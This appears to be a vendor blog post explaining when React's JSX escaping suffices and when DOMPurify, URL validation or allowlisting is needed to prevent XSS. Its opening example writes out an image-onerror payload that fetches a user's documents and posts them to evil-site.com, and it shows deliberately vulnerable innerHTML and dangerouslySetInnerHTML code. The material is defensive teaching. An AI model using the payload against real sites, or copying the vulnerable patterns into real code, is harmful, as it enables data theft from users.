React escaping vs. DOMPurify: When to sanitize HTML
Table of contents
React automatically escapes values rendered through JSX, which protects your app against XSS in most cases — but escaping isn’t the same as sanitizing, and it has limitations. Here’s what this post covers:
- Escaping vs. sanitizing — React escapes values rendered through JSX as text; sanitizers are for untrusted HTML you intentionally want to render
- Where it falls short — HTML-parsing DOM APIs,
dangerouslySetInnerHTML, unvalidated URLs, and dynamically loaded resources - External libraries — Libraries like DOMPurify for HTML sanitization
Should you use an external library to sanitize HTML in your React app? Not always. React automatically escapes text rendered through JSX, so ordinary untrusted text is generally safe without a sanitizer. If the app intentionally renders untrusted input as HTML, it needs a way to ensure that HTML is safe — typically a dedicated HTML sanitizer such as DOMPurify. And there are a few other sinks along the way that a sanitizer doesn’t cover at all.
What’s an XSS attack anyway?
Cross-site scripting (XSS) happens when malicious code gets executed in your user’s browser. Here’s a realistic scenario for document apps: Imagine you’re building a collaboration platform where users can add text annotations to PDFs.
A malicious user creates an annotation with this content:
<img src="x" onerror=" fetch('/api/documents').then(r=>r.json()) .then(docs=>fetch('https://evil-site.com/malicious', { method:'POST', body:JSON.stringify(docs) }))">Looks good!When other users view this document, that image element executes JavaScript in the victim’s browser — with the same privileges as the victim’s session — and can make authenticated requests as that user, exfiltrating whatever data the app exposes to them. This only works if the app renders the annotation as HTML rather than as plain text — the difference between the two is exactly what the rest of this post is about.
React’s built-in protection
Now imagine this is how your app renders text annotations:
function TextAnnotation({ content }) { return <div>{content}</div>;}React automatically escapes values rendered through JSX, so it interprets everything in content as a string rather than parsing it as HTML. As a result, if an attacker supplies malicious HTML as the value of content, React renders the characters as visible text instead of creating the elements that HTML describes:
// The malicious input from before is rendered as text.<TextAnnotation content='<img src="x" onerror="fetch(\'/api/documents\')...">Looks good!' />// Output: <img src="x" onerror="fetch('/api/documents')...">Looks good!Escaping and sanitizing solve different problems: Escaping changes how a value is interpreted, turning meaningful HTML characters into inert text; sanitizing parses actual HTML and decides which parts of it are allowed to remain.
When React’s protection isn’t enough
The important question for each pattern below isn’t “is this input sanitized?” — it’s “what sink will this value reach?” React’s JSX escaping, HTML sanitization, URL validation, and resource allowlisting each protect different sinks, and none substitutes for the others.
DOM manipulation
This is likely how the annotation from the opening scenario executed its payload. When you insert untrusted strings into HTML-parsing Document Object Model (DOM) APIs — such as innerHTML, outerHTML, or insertAdjacentHTML — React isn’t parsing or rendering that string at all; the browser is. React’s escaping never gets a chance to apply, because the value never passes through React’s rendering path. Assigning to textContent instead would be safe against this class of vulnerability, because the browser treats the value as text rather than parsing it as HTML:
function UnsafeTextAnnotation({ content }) { const contentRef = useRef();
useEffect(() => { // `innerHTML` is an HTML-parsing sink, so it bypasses React's escaping. contentRef.current.innerHTML = content; // XSS vulnerability! }, [content]);
return <div ref={contentRef} />;}Formatting content
When you need to render formatted content as HTML — for example, output from a rich text editor — you’ll need to bypass React’s automatic escaping. React provides its own API for this: dangerouslySetInnerHTML(opens in a new tab).
// This bypasses React's protection entirely.function RichTextAnnotation({ htmlContent }) { return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;}There’s a reason React named this API dangerouslySetInnerHTML: It really is dangerous if the HTML comes from an untrusted source.
URLs that come from user input
Escaping guarantees that the text React renders can’t be reinterpreted as HTML, but it says nothing about whether a value is safe for the attribute it ends up in — escaping a value and validating it are two different things. A URL pulled from a query string, a form field, or an API response still needs validation when used as a JSX attribute:
function AnnotationLink({ url }) { // `url` arrives from the query string: ?ref=https://evil-site.com. return <a href={url}>Open reference</a>;}React does have some built-in protection here. React 19(opens in a new tab) replaces javascript: URLs in href and src with a URL that throws an error when executed. Versions 16.9 through 18(opens in a new tab) warn in development and still render the original value. But don’t treat that as URL validation: A value can be free of javascript: and still be wrong for the app. An https: URL is syntactically safe and can still point at a host the app never intended to trust. React also can’t help at all once the URL reaches a browser API directly, such as window.open(url) or element.setAttribute() — that check disappears entirely.
Validate the URL according to what the destination actually needs — the scheme, and depending on the application, the host, whether redirects are acceptable, and whether the URL should even be absolute.
Scripts and other resources you load at runtime
Sanitizing HTML doesn’t help here, because no HTML is ever being sanitized — this is a raw string handed straight to a browser API. If a user can directly control the URL assigned to a script element, the browser executes whatever that input points at.
The fix is an allowlist: Map the user’s choice onto a fixed set of URLs you control, rather than interpolating their input into the URL directly, and ignore anything else. The same allowlist principle applies to other dynamically loaded resources, but the security impact varies by resource type — an attacker-controlled script executes arbitrary code, while an attacker-controlled image, stylesheet, or iframe can have different security consequences of their own. A Content Security Policy adds defense in depth here: It doesn’t replace validating these URLs, but it can limit the damage from one that slips through.
Third-party sanitization libraries
When you need to render untrusted HTML directly — through dangerouslySetInnerHTML or an HTML-parsing DOM API — libraries like DOMPurify(opens in a new tab) provide purpose-built HTML sanitization. These tools strip out dangerous elements and attributes while preserving safe formatting tags, and by default, they also strip dangerous URL protocols like javascript: from attributes such as href and src within the HTML they process.
Prefer an allowlist tailored to the smallest set of HTML the feature actually needs — don’t copy this configuration as-is:
import DOMPurify from 'dompurify';
function RichTextAnnotation({ htmlContent }) { const clean = DOMPurify.sanitize(htmlContent, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'], ALLOWED_ATTR: [], });
return <div dangerouslySetInnerHTML={{ __html: clean }} />;}Treat sanitization as part of the boundary where untrusted HTML becomes renderable HTML, and don’t modify or concatenate the sanitized output afterward — doing so can reintroduce the exact markup the sanitizer just removed. If the content is stored or distributed to other consumers, consider enforcing an appropriate HTML policy on the server as well — client-side sanitization protects this particular rendering point, but other consumers may have their own rendering paths and trust boundaries to defend.
A sanitization library only protects the HTML it actually processes. It doesn’t cover a URL bound directly to a JSX attribute or passed straight to a browser API like window.open() — those never go through the sanitizer at all, so they still need their own validation and allowlisting from the previous section.
Summary
Going back to the original question: Do you need to use an external library to sanitize HTML in your React app? It depends on what the app does with untrusted input, and specifically, what sink that input will reach:
- Plain text? Let React’s escaping handle it.
- Untrusted HTML? Sanitize it with a library like DOMPurify before rendering.
- URLs? Validate them against what the destination actually needs.
- Executable resources like scripts? Allowlist them.
React’s automatic escaping covers plain text by default. Reach for a sanitization library like DOMPurify only when the app needs to render untrusted HTML through dangerouslySetInnerHTML or an HTML-parsing DOM API. For URLs and dynamically loaded resources, a library won’t help unless that value is actually embedded in the HTML being sanitized — otherwise those sinks need their own validation and allowlisting no matter what.
Writing a collaboration platform from scratch? Nutrient Web SDK provides ready-to-use text, comment, and note annotations, so this is one less sanitization strategy to build and maintain yourself.